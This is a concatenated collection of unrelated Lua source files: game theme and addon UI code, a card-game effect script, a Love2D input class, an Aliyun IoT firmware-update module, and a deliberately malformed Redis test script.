thickness= thickness or self.t
self.t= thickness
self.container:SetLineWidth(thickness)
end,
hide= function(self)
self.container:visible(false)
end,
unhide= function(self)
self.container:visible(true)
end
}}
frame_helper_mt= {
__index= {
create_actors= function(self, name, pad, fw, fh, outer_color, inner_color, fx, fy)
self.name= name
self.pad= pad
self.x= fx
self.y= fy
self.w= fw
self.h= fh
self.outer= setmetatable({}, amv_outline_mt)
return Def.ActorFrame{
Name= name,
InitCommand= function(subself)
self.container= subself
subself:xy(fx, fy)
self.inner= subself:GetChild("inner")
end,
Def.Quad{
Name= "inner",
InitCommand= cmd(xy, 0, 0; diffuse, inner_color; setsize, fw, fh)
},
self.outer:create_actors("outer", 0, 0, fw-pad/2, fh-pad/2, pad, outer_color)
}
end,
resize= function(self, now, noh)
self.w= now or self.w
self.h= noh or self.h
self.outer:refit(0, 0, now, noh)
self.inner:setsize(self.w, self.h)
end,
resize_to_outline= function(self, frame, pad)
local xmn, xmx, ymn, ymx= rec_calc_actor_extent(frame)
self:move((xmx+xmn)/2, (ymx+ymn)/2)
self:resize((xmx-xmn)+(pad*2), (ymx-ymn)+(pad*2))
end,
move= function(self, x, y)
x= x or self.x
y= y or self.y
self.container:stoptweening():april_linear(0.1):xy(x, y)
self.x, self.y= x, y
end,
hide= function(self)
self.container:visible(false)
end,
unhide= function(self)
self.container:visible(true)
end,
}}
function credit_reporter(x, y, show_credits)
return normal_text(
"credit", "Credits", fetch_color("credits"), nil, x, y, 1, center,
{ OnCommand= cmd(playcommand, "set"),
CoinsChangedMessageCommand= cmd(playcommand, "set"),
setCommand= function(self)
local credits, coins, needed= get_coin_info()
local text= credits .. " : " .. coins .. " / " .. needed
if show_credits then
text= "Credits: " .. text
end
if needed == 0 then
text= ""
end
self:settext(text)
end
})
end
function chart_info_text(steps, song)
local info_text= ""
if steps then
local author= steps_get_author(steps, song)
if not author or author == "" then
author= "Uncredited"
end
local difficulty= steps_to_string(steps)
local rating= steps:GetMeter()
info_text= author .. ": " .. difficulty .. ": " .. rating
end
return info_text
end
function chart_info_text_for_pn(pn)
local cur_steps= gamestate_get_curr_steps(pn)
if not cur_steps then return "" end
local author= steps_get_author(cur_steps, gamestate_get_curr_song())
local difficulty= steps_to_string(cur_steps)
local rating= cur_steps:GetMeter()
return author .. ": " .. difficulty .. ": " .. rating
end
-- Because somebody decided stepmania's scaletofit should change the position
-- of the actor.
function scale_to_fit(actor, width, height)
local xscale= width / actor:GetWidth()
local yscale= height / actor:GetHeight()
actor:zoom(math.min(xscale, yscale))
end
-- Until my fix of the engine side version is merged.
-- usage: clip_scale(some_actor, width, height)
function clip_scale(self, zw, zh)
local uzw= self:GetWidth()
local uzh= self:GetHeight()
local xz= zw / uzw
local yz= zh / uzh
self:cropleft(0):cropright(0):croptop(0):cropbottom(0)
local function handle_dim(dimz, dim, dimdest, cropa, cropb)
self:zoom(dimz)
local clip_amount= (1 - (dimdest / dim)) / 2
cropa(self, clip_amount)
cropb(self, clip_amount)
end
if xz > yz then
handle_dim(xz, self:GetZoomedHeight(), zh, self.croptop, self.cropbottom)
else
handle_dim(yz, self:GetZoomedWidth(), zw, self.cropleft, self.cropright)
end
end
grade_image_mt= {
__index= {
create_actors= function(self, x, y, size, image)
image= image or grade_image_path()
return Def.ActorFrame{
InitCommand= function(subself)
self.container= subself
if x and y then
subself:xy(x, y)
end
self:set_size(size or 0)
self:set_image(image)
end,
Def.Sprite{
InitCommand= function(subself)
self.sprite= subself
subself:animate(false)
end
},
}
end,
get_x= function(self)
return self.container:GetX()
end,
move= function(self, x, y)
self.container:xy(x, y)
end,
set_image= function(self, path)
self.sprite:Load(path)
self.sprite_loaded= true
scale_to_fit(self.sprite, self.size, self.size)
end,
set_size= function(self, size)
self.size= size
if self.sprite_loaded then
scale_to_fit(self.sprite, self.size, self.size)
end
end,
set_grade= function(self, grade, color)
if self.sprite_loaded then
self.sprite:setstate(math.min(grade-1, self.sprite:GetNumStates()-1))
if color then
rot_color_text(self.sprite, color)
else
self.sprite:diffuse{1, 1, 1, 1}
end
end
end,
hide= function(self)
self.hidden= true
self.container:hibernate(math.huge)
end,
unhide= function(self)
self.hidden= false
self.container:hibernate(0)
end,
}}
|
local _, C = unpack(select(2, ...))
local _G = _G
C.themes["Blizzard_Collections"] = function()
if C["General"].NoTutorialButtons then
_G.PetJournalTutorialButton:Kill()
end
end
|
local PlayerInput = Class('PlayerInput')
function PlayerInput:init(player)
self.owner = player -- instance of the player class
self.movedir = Vec2(0, 0) -- resulting direction of movement from all the inputs
self.keypressed = false -- whether a relevant input key is pressed
end
function PlayerInput:update(dt)
if keyboard.isDown('w') then
self.movedir.y = -1
self.keypressed = true
elseif keyboard.isDown('s') then
self.movedir.y = 1
self.keypressed = true
else
self.movedir.y = 0
end
if keyboard.isDown('a') then
self.movedir.x = -1
elseif keyboard.isDown('d') then
self.movedir.x = 1
else
self.movedir.x = 0
end
end
return PlayerInput
|
--- 模块功能:阿里云物联网套件客户端OTA功能.
-- 目前固件签名算法仅支持MD5
-- @module aLiYunOta
-- @author openLuat
-- @license MIT
-- @copyright openLuat
-- @release 2018.04.16
require"log"
require"http"
module(..., package.seeall)
--gVersion:固件版本号字符串,如果用户没有调用本文件的setVer接口设置,则默认为_G.PROJECT.."_".._G.VERSION.."_"..sys.getcorever()
--gName:阿里云iot网站上配置的新固件文件下载后,在模块中的保存路径,如果用户没有调用本文件的setName接口设置,则默认为/luazip/update.bin
--gCb:新固件下载成功后,要执行的回调函数
local gVersion,gName,gCb = _G.PROJECT.."_".._G.VERSION.."_".."Luat_V0000_LTE"
local gFilePath,gFileSize
local processed,processMileStone = 0,100*1024
--productKey:产品标识
--deviceName:设备名称
local productKey,deviceName
--verRpted:版本号是否已经上报
local verRpted,sConnected
--lastStep:最后一次上报的下载新固件的进度
local lastStep
--下载中标志
local downloading
local function otaCb(result,filePath,md5,size)
log.info("aLiYunOta.otaCb",gCb,result,filePath,size,io.fileSize(filePath))
downloading = false
--校验MD5
if result then
if type(gName) == "string" then
local calMD5 = crypto.md5(filePath,"file")
result = (string.upper(calMD5) == string.upper(md5))
log.info("aLiYunOta.otaCb cmp md5",result,calMD5,md5)
else
rtos.fota_end()
log.info("aLiYunOta.otaCb",result,size)
end
end
if gCb then
gCb(result,filePath)
else
if result then sys.restart("ALIYUN_OTA") end
end
end
--[[
函数名:upgradeStepRpt
功能 :新固件文件下载进度上报
参数 :
step:1到100代表下载进度比;-2代表下载失败
desc:描述信息,可为空或者nil
返回值:无
]]
local function upgradeStepRpt(step,desc)
log.info("aLiYunOta.upgradeStepRpt",step,desc,sConnected)
if sConnected then
if step<=0 or step==100 then sys.timerStop(getPercent) end
lastStep = step
aLiYun.publish("/ota/device/progress/"..productKey.."/"..deviceName,"{\"id\":1,\"params\":{\"step\":\"".."100".."\",\"desc\":\""..(desc or "").."\"}}")
end
end
function getPercent()
local step
if type(gName) == "string" then
step = io.fileSize(gName)*100/gFileSize
else
step = processed*100/gFileSize
end
log.info("aLiYunOta.getPercent",step)
if step~=0 and step~=lastStep then
upgradeStepRpt(step)
end
sys.timerStart(getPercent,5000)
end
local function downloadCbFnc(result,prompt,head,filePath)
log.info("aLiYunOta.downloadCbFnc",result,prompt,filePath)
sys.publish("ALIYUN_OTA_DOWNLOAD_IND",result)
end
local function saveUpdata(pdata,binlen,statusCode)
log.info("saveUpdata",binlen,statusCode)
if statusCode == "206" and pdata and binlen then
if rtos.fota_process(pdata,binlen) ~=0 then --返回-94表示没有进行初始化,需要调用rtos.fota_start()进行更新初始化
log.info("updata.fota_process","fail!!")
return
else
--打印此升级包的长度跟总包长度
processed = processed + pdata:len()
log.info("updata.fota_process",processed,binlen)
if(processed > processMileStone) then
processMileStone = processMileStone + 100*1024
log.info("updata.fota_process",processed,binlen)
end
end
end
end
local function downloadTask(url,size,md5)
log.info("aLiYunOta.downloadTask1",downloading,url,size,md5)
if not downloading then
downloading = true
gFileSize = size
local rangeBegin,retryCnt = 0,0
sys.timerStart(getPercent,5000)
while true do
if not gName then
gName = saveUpdata
end
http.request("GET",url,nil,{["Range"]="bytes="..rangeBegin.."-"},"",20000,downloadCbFnc,gName)
--if rangeBegin==0 then os.remove(gName) end
local _,result = sys.waitUntil("ALIYUN_OTA_DOWNLOAD_IND")
log.info("aLiYunOta.downloadTask2",result)
if result then
upgradeStepRpt(100,0)
sys.timerStart(otaCb,5000,true,gName,md5,size)
break
else
retryCnt = retryCnt+1
if retryCnt>=30 then
upgradeStepRpt(-2,"timeout")
otaCb(false,gName)
break
end
end
if type(gname) == "string" then
rangeBegin = io.fileSize(gName)
else
rangeBegin = processed
end
end
end
end
--[[
函数名:upgrade
功能 :收到云端固件升级通知消息时的回调函数
参数 :
payload:消息负载(原始编码,收到的payload是什么内容,就是什么内容,没有做任何编码转换)
返回值:无
]]
function upgrade(payload)
local result
local jsonData,result = json.decode(payload)
log.info("aLiYunOta.upgrade",result,payload)
if rtos.fota_start() ~=0 then
log.info("fota_start fail")
sys.timerStart(verRpt,10000)
return
end
if result and jsonData.data and jsonData.data.url then
sys.taskInit(downloadTask,jsonData.data.url,jsonData.data.size,jsonData.data.md5)
end
end
--[[
函数名:verRptCb
功能 :上报固件版本号给云端后,收到PUBACK时的回调函数
参数 :
result:true表示上报成功,false或者nil表示失败
返回值:无
]]
local function verRptCb(result)
log.info("aLiYunOta.verRptCb",result)
verRpted = result
if not result then sys.timerStart(verRpt,20000) end
end
--[[
函数名:verRpt
功能 :上报固件版本号给云端
参数 :无
返回值:无
]]
function verRpt()
log.info("aLiYunOta.verRpt",sConnected,gVersion)
if sConnected then
aLiYun.publish("/ota/device/inform/"..productKey.."/"..deviceName,"{\"id\":1,\"params\":{\"version\":\""..gVersion.."\"}}",1,verRptCb)
end
end
function connectCb(result,key,name)
sConnected = result
if result then
log.info("aLiYunOta.connectCb",verRpted)
productKey,deviceName = key,name
--订阅主题
aLiYun.subscribe({["/ota/device/upgrade/"..key.."/"..name]=0, ["/ota/device/upgrade/"..key.."/"..name]=1})
if not verRpted then
--上报固件版本号给云端
verRpt()
end
else
sys.timerStop(verRpt)
end
end
--- 设置当前的固件版本号
-- @string version,当前固件版本号
-- @return nil
-- @usage
-- aLiYunOta.setVer("MCU_VERSION_1.0.0")
function setVer(version)
local oldVer = gVersion
gVersion = version
if verRpted and version~=oldVer then
verRpted = false
verRpt()
end
end
--- 设置新固件保存的文件名
-- @string name,新固件下载后保存的文件名;注意此文件名并不是保存的完整路径,完整路径通过setCb设置的回调函数去获取
-- @return nil
-- @usage
-- aLiYunOta.setName("MCU_FIRMWARE.bin")
function setName(name)
gName = name
end
--- 设置新固件下载后的回调函数
-- @function cbFnc,新固件下载后的回调函数
-- 回调函数的调用形式为:cbFnc(result,filePath),result为下载结果,true表示成功,false或者nil表示失败;filePath为新固件文件保存的完整路径
-- @return nil
-- @usage
-- aLiYunOta.setCb(cbFnc)
function setCb(cbFnc)
gCb = cbFnc
end
|
--聖夜に煌めく竜
--Scripted by mallu11
function c100270041.initial_effect(c)
--destroy
local e1=Effect.CreateEffect(c)
e1:SetDescription(aux.Stringid(100270041,0))
e1:SetCategory(CATEGORY_DESTROY)
e1:SetType(EFFECT_TYPE_SINGLE+EFFECT_TYPE_TRIGGER_O)
e1:SetCode(EVENT_SUMMON_SUCCESS)
e1:SetProperty(EFFECT_FLAG_CARD_TARGET+EFFECT_FLAG_DELAY)
e1:SetCondition(c100270041.descon)
e1:SetTarget(c100270041.destg)
e1:SetOperation(c100270041.desop)
c:RegisterEffect(e1)
local e2=e1:Clone()
e2:SetCode(EVENT_SPSUMMON_SUCCESS)
c:RegisterEffect(e2)
--battle indes
local e3=Effect.CreateEffect(c)
e3:SetType(EFFECT_TYPE_SINGLE)
e3:SetCode(EFFECT_INDESTRUCTABLE_BATTLE)
e3:SetProperty(EFFECT_FLAG_SINGLE_RANGE)
e3:SetRange(LOCATION_MZONE)
e3:SetValue(c100270041.indes)
c:RegisterEffect(e3)
--effect indes
local e4=e3:Clone()
e4:SetCode(EFFECT_INDESTRUCTABLE_EFFECT)
e4:SetValue(c100270041.efilter)
c:RegisterEffect(e4)
--remove
local e5=Effect.CreateEffect(c)
e5:SetDescription(aux.Stringid(100270041,1))
e5:SetCategory(CATEGORY_REMOVE)
e5:SetType(EFFECT_TYPE_SINGLE+EFFECT_TYPE_TRIGGER_O)
e5:SetCode(EVENT_BATTLE_START)
e5:SetCountLimit(1)
e5:SetCondition(c100270041.rmcon)
e5:SetTarget(c100270041.rmtg)
e5:SetOperation(c100270041.rmop)
c:RegisterEffect(e5)
end
function c100270041.descon(e,tp,eg,ep,ev,re,r,rp)
return e:GetHandler():IsPreviousLocation(LOCATION_HAND)
end
function c100270041.destg(e,tp,eg,ep,ev,re,r,rp,chk,chkc)
if chkc then return chkc:IsOnField() end
if chk==0 then return Duel.IsExistingTarget(nil,tp,LOCATION_ONFIELD,LOCATION_ONFIELD,1,nil) end
Duel.Hint(HINT_SELECTMSG,tp,HINTMSG_DESTROY)
local g=Duel.SelectTarget(tp,nil,tp,LOCATION_ONFIELD,LOCATION_ONFIELD,1,1,nil)
Duel.SetOperationInfo(0,CATEGORY_DESTROY,g,1,0,0)
end
function c100270041.desop(e,tp,eg,ep,ev,re,r,rp)
local tc=Duel.GetFirstTarget()
if tc:IsRelateToEffect(e) then
Duel.Destroy(tc,REASON_EFFECT)
end
end
function c100270041.indes(e,c)
return c:IsAttribute(ATTRIBUTE_DARK)
end
function c100270041.efilter(e,re)
return re:IsActiveType(TYPE_MONSTER) and Duel.GetChainInfo(0,CHAININFO_TRIGGERING_ATTRIBUTE)&ATTRIBUTE_DARK~=0
end
function c100270041.rmcon(e,tp,eg,ep,ev,re,r,rp)
local c=e:GetHandler()
local bc=c:GetBattleTarget()
e:SetLabelObject(bc)
return Duel.GetAttacker()==c and bc and bc:IsControler(1-tp)
end
function c100270041.rmtg(e,tp,eg,ep,ev,re,r,rp,chk)
local bc=e:GetLabelObject()
if chk==0 then return bc and bc:IsRelateToBattle() and bc:IsAbleToRemove() end
Duel.SetOperationInfo(0,CATEGORY_REMOVE,bc,1,0,0)
end
function c100270041.rmop(e,tp,eg,ep,ev,re,r,rp)
local c=e:GetHandler()
local bc=e:GetLabelObject()
if bc and bc:IsRelateToBattle() and bc:IsControler(1-tp) and Duel.Remove(bc,0,REASON_EFFECT+REASON_TEMPORARY)~=0 then
local e1=Effect.CreateEffect(c)
e1:SetType(EFFECT_TYPE_FIELD+EFFECT_TYPE_CONTINUOUS)
e1:SetCode(EVENT_PHASE+PHASE_END)
e1:SetReset(RESET_PHASE+PHASE_END)
e1:SetLabelObject(bc)
e1:SetCountLimit(1)
e1:SetOperation(c100270041.retop)
Duel.RegisterEffect(e1,tp)
end
if c:IsRelateToEffect(e) and c:IsChainAttackable() then
Duel.ChainAttack()
end
end
function c100270041.retop(e,tp,eg,ep,ev,re,r,rp)
Duel.ReturnToField(e:GetLabelObject())
end
|
-- Usage
-- Just testing if lua syntax errors are caught when loading the script
-- Author: Pedro Paixao
-- Test parameters
if #KEYS ~= 1
return 1
|
local _, ns = ...
local L = ns.L
local LUI = LolzenUI.L
local f = CreateFrame("Frame")
f:RegisterEvent("ADDON_LOADED")
f:SetScript("OnEvent", function(self, event, addon)
if addon == "LolzenUI_Options" and LolzenUIcfg.modules["unitframes"] == true then
-- // Create a subcategory panel for Power Colors // --
ns.uf_powercolor_options = CreateFrame("Frame", "unitframe_powercolorpanel", ns["unitframes"])
ns.uf_powercolor_options.name = " "..L["sub_panel_unitframes_powercolors"]
ns.uf_powercolor_options.parent = LUI["unitframes"]
InterfaceOptions_AddCategory(ns.uf_powercolor_options)
local title = ns.createTitle("uf_powercolor_options", L["sub_panel_unitframes_powercolors_title"])
local mana_text = ns.createFontstring("uf_powercolor_options", L["sub_panel_unitframes_powercolors_mana"]..":")
mana_text:SetPoint("TOPLEFT", title, "BOTTOMLEFT", 4, -30)
local mtBG = ns.createBackground("uf_powercolor_options", 600, 330)
mtBG:SetPoint("TOPLEFT", mana_text, "BOTTOMLEFT", -8, 20)
mtBG:SetFrameLevel(1)
local mana = ns.createColorTexture("uf_powercolor_options", 16, 16, LolzenUIcfg.unitframes.powercolors[0], LolzenUIcfg.unitframes.general["uf_statusbar_texture"])
mana:SetPoint("LEFT", mana_text, "RIGHT", 100, 0)
mana.setActualColors = function()
LolzenUIcfg.unitframes.powercolors[0] = {mana:GetVertexColor()}
LolzenUI.SetUFPowerColorMana()
end
local mana_f = ns.createColorPicker("uf_powercolor_options", mana, LolzenUIcfg.unitframes.powercolors[0])
mana_f:SetAllPoints(mana)
local rage_text = ns.createFontstring("uf_powercolor_options", L["sub_panel_unitframes_powercolors_rage"]..":")
rage_text:SetPoint("TOPLEFT", mana_text, "BOTTOMLEFT", 0, -10)
local rage = ns.createColorTexture("uf_powercolor_options", 16, 16, LolzenUIcfg.unitframes.powercolors[1], LolzenUIcfg.unitframes.general["uf_statusbar_texture"])
rage:SetPoint("TOP", mana, "BOTTOM", 0, -4)
rage.setActualColors = function()
LolzenUIcfg.unitframes.powercolors[1] = {rage:GetVertexColor()}
LolzenUI.SetUFPowerColorRage()
end
local rage_f = ns.createColorPicker("uf_powercolor_options", rage, LolzenUIcfg.unitframes.powercolors[1])
rage_f:SetAllPoints(rage)
local focus_text = ns.createFontstring("uf_powercolor_options", L["sub_panel_unitframes_powercolors_focus"]..":")
focus_text:SetPoint("TOPLEFT", rage_text, "BOTTOMLEFT", 0, -10)
local focus = ns.createColorTexture("uf_powercolor_options", 16, 16, LolzenUIcfg.unitframes.powercolors[2], LolzenUIcfg.unitframes.general["uf_statusbar_texture"])
focus:SetPoint("TOP", rage, "BOTTOM", 0, -4)
focus.setActualColors = function()
LolzenUIcfg.unitframes.powercolors[2] = {focus:GetVertexColor()}
LolzenUI.SetUFPowerColorFocus()
end
local focus_f = ns.createColorPicker("uf_powercolor_options", focus, LolzenUIcfg.unitframes.powercolors[2])
focus_f:SetAllPoints(focus)
local energy_text = ns.createFontstring("uf_powercolor_options", L["sub_panel_unitframes_powercolors_energy"]..":")
energy_text:SetPoint("TOPLEFT", focus_text, "BOTTOMLEFT", 0, -10)
local energy = ns.createColorTexture("uf_powercolor_options", 16, 16, LolzenUIcfg.unitframes.powercolors[3], LolzenUIcfg.unitframes.general["uf_statusbar_texture"])
energy:SetPoint("TOP", focus, "BOTTOM", 0, -4)
energy.setActualColors = function()
LolzenUIcfg.unitframes.powercolors[3] = {energy:GetVertexColor()}
LolzenUI.SetUFPowerColorEnergy()
end
local energy_f = ns.createColorPicker("uf_powercolor_options", energy, LolzenUIcfg.unitframes.powercolors[3])
energy_f:SetAllPoints(energy)
local cp_text = ns.createFontstring("uf_powercolor_options", L["sub_panel_unitframes_powercolors_combopoints"]..":")
cp_text:SetPoint("TOPLEFT", energy_text, "BOTTOMLEFT", 0, -10)
local cp = ns.createColorTexture("uf_powercolor_options", 16, 16, LolzenUIcfg.unitframes.powercolors[4], LolzenUIcfg.unitframes.general["uf_statusbar_texture"])
cp:SetPoint("TOP", energy, "BOTTOM", 0, -4)
cp.setActualColors = function()
LolzenUIcfg.unitframes.powercolors[4] = {cp:GetVertexColor()}
LolzenUI.SetUFPowerColorCP()
end
local cp_f = ns.createColorPicker("uf_powercolor_options", cp, LolzenUIcfg.unitframes.powercolors[4])
cp_f:SetAllPoints(cp)
local runes_text = ns.createFontstring("uf_powercolor_options", L["sub_panel_unitframes_powercolors_runes"]..":")
runes_text:SetPoint("TOPLEFT", cp_text, "BOTTOMLEFT", 0, -10)
local runes = ns.createColorTexture("uf_powercolor_options", 16, 16, LolzenUIcfg.unitframes.powercolors[5], LolzenUIcfg.unitframes.general["uf_statusbar_texture"])
runes:SetPoint("TOP", cp, "BOTTOM", 0, -4)
runes.setActualColors = function()
LolzenUIcfg.unitframes.powercolors[5] = {runes:GetVertexColor()}
LolzenUI.SetUFPowerColorRunes()
end
local runes_f = ns.createColorPicker("uf_powercolor_options", runes, LolzenUIcfg.unitframes.powercolors[5])
runes_f:SetAllPoints(runes)
local rp_text = ns.createFontstring("uf_powercolor_options", L["sub_panel_unitframes_powercolors_runicpower"]..":")
rp_text:SetPoint("TOPLEFT", runes_text, "BOTTOMLEFT", 0, -10)
local rp = ns.createColorTexture("uf_powercolor_options", 16, 16, LolzenUIcfg.unitframes.powercolors[6], LolzenUIcfg.unitframes.general["uf_statusbar_texture"])
rp:SetPoint("TOP", runes, "BOTTOM", 0, -4)
rp.setActualColors = function()
LolzenUIcfg.unitframes.powercolors[6] = {rp:GetVertexColor()}
LolzenUI.SetUFPowerColorRunePower()
end
local rp_f = ns.createColorPicker("uf_powercolor_options", rp, LolzenUIcfg.unitframes.powercolors[6])
rp_f:SetAllPoints(rp)
local soulshards_text = ns.createFontstring("uf_powercolor_options", L["sub_panel_unitframes_powercolors_soulshards"]..":")
soulshards_text:SetPoint("TOPLEFT", rp_text, "BOTTOMLEFT", 0, -10)
local soulshards = ns.createColorTexture("uf_powercolor_options", 16, 16, LolzenUIcfg.unitframes.powercolors[7], LolzenUIcfg.unitframes.general["uf_statusbar_texture"])
soulshards:SetPoint("TOP", rp, "BOTTOM", 0, -4)
soulshards.setActualColors = function()
LolzenUIcfg.unitframes.powercolors[7] = {soulshards:GetVertexColor()}
LolzenUI.SetUFPowerColorSoulshards()
end
local soulshards_f = ns.createColorPicker("uf_powercolor_options", soulshards, LolzenUIcfg.unitframes.powercolors[7])
soulshards_f:SetAllPoints(soulshards)
local lp_text = ns.createFontstring("uf_powercolor_options", L["sub_panel_unitframes_powercolors_lunarpower"]..":")
lp_text:SetPoint("TOPLEFT", soulshards_text, "BOTTOMLEFT", 0, -10)
local lp = ns.createColorTexture("uf_powercolor_options", 16, 16, LolzenUIcfg.unitframes.powercolors[8], LolzenUIcfg.unitframes.general["uf_statusbar_texture"])
lp:SetPoint("TOP", soulshards, "BOTTOM", 0, -4)
lp.setActualColors = function()
LolzenUIcfg.unitframes.powercolors[8] = {lp:GetVertexColor()}
LolzenUI.SetUFPowerColorLunarPower()
end
local lp_f = ns.createColorPicker("uf_powercolor_options", lp, LolzenUIcfg.unitframes.powercolors[8])
lp_f:SetAllPoints(lp)
local hp_text = ns.createFontstring("uf_powercolor_options", L["sub_panel_unitframes_powercolors_holypower"]..":")
hp_text:SetPoint("TOPLEFT", lp_text, "BOTTOMLEFT", 0, -10)
local hp = ns.createColorTexture("uf_powercolor_options", 16, 16, LolzenUIcfg.unitframes.powercolors[9], LolzenUIcfg.unitframes.general["uf_statusbar_texture"])
hp:SetPoint("TOP", lp, "BOTTOM", 0, -4)
hp.setActualColors = function()
LolzenUIcfg.unitframes.powercolors[9] = {hp:GetVertexColor()}
LolzenUI.SetUFPowerColorHolyPower()
end
local hp_f = ns.createColorPicker("uf_powercolor_options", hp, LolzenUIcfg.unitframes.powercolors[9])
hp_f:SetAllPoints(hp)
local maelstrom_text = ns.createFontstring("uf_powercolor_options", L["sub_panel_unitframes_powercolors_maelstrom"]..":")
maelstrom_text:SetPoint("TOPLEFT", hp_text, "BOTTOMLEFT", 0, -10)
local maelstrom = ns.createColorTexture("uf_powercolor_options", 16, 16, LolzenUIcfg.unitframes.powercolors[11], LolzenUIcfg.unitframes.general["uf_statusbar_texture"])
maelstrom:SetPoint("TOP", hp, "BOTTOM", 0, -4)
maelstrom.setActualColors = function()
LolzenUIcfg.unitframes.powercolors[11] = {maelstrom:GetVertexColor()}
LolzenUI.SetUFPowerColorMaelstrom()
end
local maelstrom_f = ns.createColorPicker("uf_powercolor_options", maelstrom, LolzenUIcfg.unitframes.powercolors[11])
maelstrom_f:SetAllPoints(maelstrom)
local chi_text = ns.createFontstring("uf_powercolor_options", L["sub_panel_unitframes_powercolors_chi"]..":")
chi_text:SetPoint("TOPLEFT", maelstrom_text, "BOTTOMLEFT", 0, -10)
local chi = ns.createColorTexture("uf_powercolor_options", 16, 16, LolzenUIcfg.unitframes.powercolors[12], LolzenUIcfg.unitframes.general["uf_statusbar_texture"])
chi:SetPoint("TOP", maelstrom, "BOTTOM", 0, -4)
chi.setActualColors = function()
LolzenUIcfg.unitframes.powercolors[12] = {chi:GetVertexColor()}
LolzenUI.SetUFPowerColorChi()
end
local chi_f = ns.createColorPicker("uf_powercolor_options", chi, LolzenUIcfg.unitframes.powercolors[12])
chi_f:SetAllPoints(chi)
local insanity_text = ns.createFontstring("uf_powercolor_options", L["sub_panel_unitframes_powercolors_insanity"]..":")
insanity_text:SetPoint("TOPLEFT", chi_text, "BOTTOMLEFT", 0, -10)
local insanity = ns.createColorTexture("uf_powercolor_options", 16, 16, LolzenUIcfg.unitframes.powercolors[13], LolzenUIcfg.unitframes.general["uf_statusbar_texture"])
insanity:SetPoint("TOP", chi, "BOTTOM", 0, -4)
insanity.setActualColors = function()
LolzenUIcfg.unitframes.powercolors[13] = {insanity:GetVertexColor()}
LolzenUI.SetUFPowerColorInsanity()
end
local insanity_f = ns.createColorPicker("uf_powercolor_options", insanity, LolzenUIcfg.unitframes.powercolors[13])
insanity_f:SetAllPoints(insanity)
local ac_text = ns.createFontstring("uf_powercolor_options", L["sub_panel_unitframes_powercolors_arcanecharges"]..":")
ac_text:SetPoint("TOPLEFT", insanity_text, "BOTTOMLEFT", 0, -10)
local ac = ns.createColorTexture("uf_powercolor_options", 16, 16, LolzenUIcfg.unitframes.powercolors[16], LolzenUIcfg.unitframes.general["uf_statusbar_texture"])
ac:SetPoint("TOP", insanity, "BOTTOM", 0, -4)
ac.setActualColors = function()
LolzenUIcfg.unitframes.powercolors[16] = {ac:GetVertexColor()}
LolzenUI.SetUFPowerColorArcaneCharges()
end
local ac_f = ns.createColorPicker("uf_powercolor_options", ac, LolzenUIcfg.unitframes.powercolors[16])
ac_f:SetAllPoints(ac)
local fury_text = ns.createFontstring("uf_powercolor_options", L["sub_panel_unitframes_powercolors_fury"]..":")
fury_text:SetPoint("TOPLEFT", ac_text, "BOTTOMLEFT", 0, -10)
local fury = ns.createColorTexture("uf_powercolor_options", 16, 16, LolzenUIcfg.unitframes.powercolors[17], LolzenUIcfg.unitframes.general["uf_statusbar_texture"])
fury:SetPoint("TOP", ac, "BOTTOM", 0, -4)
fury.setActualColors = function()
LolzenUIcfg.unitframes.powercolors[17] = {fury:GetVertexColor()}
LolzenUI.SetUFPowerColorFury()
end
local fury_f = ns.createColorPicker("uf_powercolor_options", fury, LolzenUIcfg.unitframes.powercolors[17])
fury_f:SetAllPoints(fury)
local pain_text = ns.createFontstring("uf_powercolor_options", L["sub_panel_unitframes_powercolors_pain"]..":")
pain_text:SetPoint("TOPLEFT", fury_text, "BOTTOMLEFT", 0, -10)
local pain = ns.createColorTexture("uf_powercolor_options", 16, 16, LolzenUIcfg.unitframes.powercolors[18], LolzenUIcfg.unitframes.general["uf_statusbar_texture"])
pain:SetPoint("TOP",fury, "BOTTOM", 0, -4)
pain.setActualColors = function()
LolzenUIcfg.unitframes.powercolors[18] = {pain:GetVertexColor()}
LolzenUI.SetUFPowerColorPain()
end
local pain_f = ns.createColorPicker("uf_powercolor_options", pain, LolzenUIcfg.unitframes.powercolors[18])
pain_f:SetAllPoints(pain)
ns["uf_powercolor_options"].default = function(self)
LolzenUIcfg.unitframes.powercolors = _G["LolzenUIdefaultcfg"].unitframes.powercolors
ReloadUI()
end
end
end)
|
object_draft_schematic_weapon_loot_darksting = object_draft_schematic_weapon_shared_loot_darksting:new {
}
ObjectTemplates:addTemplate(object_draft_schematic_weapon_loot_darksting, "object/draft_schematic/weapon/loot_darksting.iff")
|
if GameHelpers.Client == nil then
GameHelpers.Client = {}
end
---Get the current character stored in characterSheet's main timeline.
---@param main FlashObject|nil
---@return EclCharacter
function GameHelpers.Client.GetCharacterSheetCharacter(main)
local character = nil
if main == nil then
if not Vars.ControllerEnabled then
main = Ext.GetUIByType(Data.UIType.characterSheet):GetRoot()
else
main = Ext.GetUIByType(Data.UIType.statsPanel_c):GetRoot()
end
end
if main ~= nil then
character = GameHelpers.Client.TryGetCharacterFromDouble(main.characterHandle)
end
return character or Client:GetCharacter()
end
---Get the current character stored in characterSheet's main timeline.
---@param main FlashObject|nil
---@return EclCharacter
function GameHelpers.Client.GetCharacterCreationCharacter(main)
local character = nil
if main == nil then
if not Vars.ControllerEnabled then
main = Ext.GetUIByType(Data.UIType.characterCreation):GetRoot()
else
main = Ext.GetUIByType(Data.UIType.characterCreation_c):GetRoot()
end
end
if main ~= nil then
character = GameHelpers.Client.TryGetCharacterFromDouble(main.characterHandle)
end
return character or Client:GetCharacter()
end
---Get the GM's target character in GM mode.
---@return EclCharacter
function GameHelpers.Client.GetGMTargetCharacter()
local character = nil
local ui = Ext.GetUIByType(Data.UIType.GMPanelHUD)
if ui then
local handle = ui:GetValue("targetHandle", "number")
if handle and handle ~= 0 then
character = GameHelpers.Client.TryGetCharacterFromDouble(handle)
end
end
return character
end
---Get the current character set in the hotbar.
---@return EclCharacter|nil
function GameHelpers.Client.GetCharacter()
local character = nil
if not Vars.ControllerEnabled then
local ui = Ext.GetUIByType(Data.UIType.hotBar)
if ui ~= nil then
local main = ui:GetRoot()
if main ~= nil then
character = GameHelpers.Client.TryGetCharacterFromDouble(main.hotbar_mc.characterHandle)
end
end
if not character and SharedData.GameMode == GAMEMODE.GAMEMASTER then
character = GameHelpers.Client.GetGMTargetCharacter()
end
else
local ui = Ext.GetUIByType(Data.UIType.bottomBar_c)
if ui ~= nil then
local main = ui:GetRoot()
if main ~= nil then
character = GameHelpers.Client.TryGetCharacterFromDouble(main.characterHandle)
end
end
end
return character
end
---@return boolean
function GameHelpers.Client.IsGameMaster(ui, this)
